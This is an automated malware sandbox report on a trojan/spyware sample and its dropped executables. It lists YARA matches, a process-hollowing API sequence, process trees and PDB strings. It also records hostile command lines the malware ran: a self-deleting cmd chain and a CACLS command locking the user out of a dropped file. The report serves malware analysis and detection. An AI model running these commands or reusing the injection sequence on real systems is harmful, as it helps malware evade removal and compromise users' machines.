Source: 10.2.1EAA.exe.45835c0.2.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: 20.2.1EAA.exe.2c0bae6.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: 0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: Process Memory Space: 1EAA.exe PID: 5572, type: MEMORYSTR	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889

Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: String function: 00404850 appears 458 times
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: String function: 00419D60 appears 137 times
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: String function: 0041AAF0 appears 182 times

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_00401962 Sleep,NtTerminateProcess,	4_2_00401962
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_0040196D Sleep,NtTerminateProcess,	4_2_0040196D
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_2_00402000
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	4_2_0040250A
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_00401A0B NtTerminateProcess,	4_2_00401A0B
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_2_0040201A
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_2_0040201E
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_2_0040202D
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_00402084 LocalAlloc,NtQuerySystemInformation,	4_2_00402084
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_00402491 NtOpenKey,	4_2_00402491
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_1_00402000
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	4_1_0040250A
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_1_0040201A
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_1_0040201E
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_1_0040202D
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_00402084 LocalAlloc,NtQuerySystemInformation,	4_1_00402084
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_00402491 NtOpenKey,	4_1_00402491
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 8_2_004E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	8_2_004E0110
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_00401962 Sleep,NtTerminateProcess,	12_2_00401962
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_0040196D Sleep,NtTerminateProcess,	12_2_0040196D
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	12_2_00402000
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	12_2_0040250A
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_00401A0B NtTerminateProcess,	12_2_00401A0B
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	12_2_0040201A
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	12_2_0040201E
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	12_2_0040202D
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_00402084 LocalAlloc,NtQuerySystemInformation,	12_2_00402084
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_00402491 NtOpenKey,	12_2_00402491
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	12_1_00402000
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	12_1_0040250A
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	12_1_0040201A
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	12_1_0040201E
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	12_1_0040202D
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_00402084 LocalAlloc,NtQuerySystemInformation,	12_1_00402084
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_00402491 NtOpenKey,	12_1_00402491

Source: 361B.exe.6.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 12F1.exe.6.dr	Static PE information: Section: ZLIB complexity 1.00011934878
Source: 305.exe.6.dr	Static PE information: Section: ZLIB complexity 1.00025390625
Source: 305.exe.6.dr	Static PE information: Section: ZLIB complexity 0.98994140625

Source: v72n86vFFq.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hiftsuu

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@37/34@66/5

Source: C:\Users\user\AppData\Local\Temp\44A2.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\v72n86vFFq.exe

0_2_004342F0

Source: v72n86vFFq.exe

Virustotal: Detection: 32%

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\v72n86vFFq.exe "C:\Users\user\Desktop\v72n86vFFq.exe"
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Process created: C:\Users\user\Desktop\v72n86vFFq.exe "C:\Users\user\Desktop\v72n86vFFq.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hiftsuu C:\Users\user\AppData\Roaming\hiftsuu
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\12F1.exe C:\Users\user\AppData\Local\Temp\12F1.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\1EAA.exe C:\Users\user\AppData\Local\Temp\1EAA.exe
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\hiftsuu	Process created: C:\Users\user\AppData\Roaming\hiftsuu C:\Users\user\AppData\Roaming\hiftsuu
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\361B.exe C:\Users\user\AppData\Local\Temp\361B.exe
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process created: C:\Users\user\AppData\Local\Temp\1EAA.exe C:\Users\user\AppData\Local\Temp\1EAA.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\44A2.exe C:\Users\user\AppData\Local\Temp\44A2.exe
Source: C:\Users\user\AppData\Local\Temp\361B.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6612 -s 520
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process created: C:\Users\user\AppData\Local\Temp\1EAA.exe C:\Users\user\AppData\Local\Temp\1EAA.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\51B3.exe C:\Users\user\AppData\Local\Temp\51B3.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\305.exe C:\Users\user\AppData\Local\Temp\305.exe
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Process created: C:\Users\user\AppData\Local\Temp\51B3.exe C:\Users\user\AppData\Local\Temp\51B3.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2340.exe C:\Users\user\AppData\Local\Temp\2340.exe
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\44A2.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process created: C:\Users\user\AppData\Local\Temp\2340.exe C:\Users\user\AppData\Local\Temp\2340.exe
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c echo Y\|CACLS "C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe" /P "user:N
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Process created: C:\Users\user\Desktop\v72n86vFFq.exe "C:\Users\user\Desktop\v72n86vFFq.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\12F1.exe C:\Users\user\AppData\Local\Temp\12F1.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\1EAA.exe C:\Users\user\AppData\Local\Temp\1EAA.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\361B.exe C:\Users\user\AppData\Local\Temp\361B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\44A2.exe C:\Users\user\AppData\Local\Temp\44A2.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\51B3.exe C:\Users\user\AppData\Local\Temp\51B3.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\305.exe C:\Users\user\AppData\Local\Temp\305.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2340.exe C:\Users\user\AppData\Local\Temp\2340.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Process created: C:\Users\user\AppData\Roaming\hiftsuu C:\Users\user\AppData\Roaming\hiftsuu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process created: C:\Users\user\AppData\Local\Temp\1EAA.exe C:\Users\user\AppData\Local\Temp\1EAA.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process created: C:\Users\user\AppData\Local\Temp\1EAA.exe C:\Users\user\AppData\Local\Temp\1EAA.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\44A2.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Process created: C:\Users\user\AppData\Local\Temp\51B3.exe C:\Users\user\AppData\Local\Temp\51B3.exe
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process created: C:\Users\user\AppData\Local\Temp\2340.exe C:\Users\user\AppData\Local\Temp\2340.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c echo Y\|CACLS "C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe" /P "user:N

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\12F1.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\12F1.tmp

Jump to behavior

Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: sqlite3[1].dll.17.dr, sqlite3.dll.17.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6920:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5624:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6612

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: lomubo	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: mirel	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: kexofec	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: \H	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: .dll	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: zijiwe	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: Yiwayimozeyawir	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: mecevfgituxe	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: Petocol	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Command line argument: Hanowopede	0_2_004342F0
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Command line argument: WA	17_2_00415730

Source: 2340.exe.6.dr, u0086u0086u0086u0086u0086u0086u0086u008au0088u0086/u0086u0086u0086u0086u0086u0086u0086u008au0087u009e.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2340.exe.6.dr, u0086u0086u0086u0086u0086u0086u0086u008au0088u0086/u0086u0086u0086u0086u0086u0086u0086u008au0087u009e.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2340.exe.6.dr, u0086u0086u0086u0086u0086u0086u0086u008au0088u0086/u0086u0086u0086u0086u0086u0086u0086u008au0087u009e.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2340.exe.6.dr, u0086u0086u0086u0086u0086u0086u0086u008au0088u0086/u0086u0086u0086u0086u0086u0086u0086u008au0087u009e.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.12F1.exe.ce0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.12F1.exe.ce0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\361B.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: v72n86vFFq.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: v72n86vFFq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: v72n86vFFq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: v72n86vFFq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: v72n86vFFq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: v72n86vFFq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: v72n86vFFq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: v72n86vFFq.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: 2340.exe, 00000019.00000002.937037876.0000000003851000.00000004.00000001.sdmp, 2340.exe, 0000001F.00000000.915270893.0000000000400000.00000040.00000001.sdmp, 2340.exe, 0000001F.00000002.938653145.0000000000400000.00000040.00000001.sdmp, 2340.exe, 0000001F.00000000.899393554.0000000000400000.00000040.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000013.00000003.812857479.0000000002EF5000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812716030.0000000002EF5000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812563577.0000000004EFC000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: cfgmgr32.pdb{1d source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000013.00000003.815694930.0000000002EEF000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812703884.0000000002EEF000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: QC:\honohuredaseso\ditajexibu\45\rasuwolo-gelif.pdb source: 51B3.exe, 00000015.00000000.808085529.0000000000401000.00000020.00020000.sdmp, 51B3.exe, 00000015.00000002.840399491.0000000000401000.00000020.00020000.sdmp, 51B3.exe, 00000017.00000000.831520191.0000000000401000.00000020.00020000.sdmp, 51B3.exe.6.dr
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: C:\yacopicugux28_yero\lub.pdb source: 361B.exe, 0000000D.00000002.895424066.0000000000416000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.792550514.0000000000416000.00000002.00020000.sdmp, WerFault.exe, 00000013.00000002.892891509.0000000005110000.00000002.00020000.sdmp, 361B.exe.6.dr
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: C:\yacopicugux28_yero\lub.pdb02`e@ source: 361B.exe, 0000000D.00000002.895424066.0000000000416000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.792550514.0000000000416000.00000002.00020000.sdmp, WerFault.exe, 00000013.00000002.892891509.0000000005110000.00000002.00020000.sdmp, 361B.exe.6.dr
Source:	Binary string: r_C:\hacih_76\dozuzoso.pdb source: 44A2.exe, 00000011.00000000.800373192.0000000000401000.00000020.00020000.sdmp, 44A2.exe.6.dr
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000013.00000003.832216101.000000000515C000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: C:\hacih_76\dozuzoso.pdb source: 44A2.exe, 00000011.00000000.800373192.0000000000401000.00000020.00020000.sdmp, 44A2.exe.6.dr
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: C:\honohuredaseso\ditajexibu\45\rasuwolo-gelif.pdb source: 51B3.exe, 00000015.00000000.808085529.0000000000401000.00000020.00020000.sdmp, 51B3.exe, 00000015.00000002.840399491.0000000000401000.00000020.00020000.sdmp, 51B3.exe, 00000017.00000000.831520191.0000000000401000.00000020.00020000.sdmp, 51B3.exe.6.dr
Source:	Binary string: C:\repifuj_guwonip22\xenocuzoyipe\zijafohefejave.pdb source: v72n86vFFq.exe, hiftsuu.6.dr
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb}1b source: WerFault.exe, 00000013.00000003.832181512.0000000005156000.00000004.00000040.sdmp
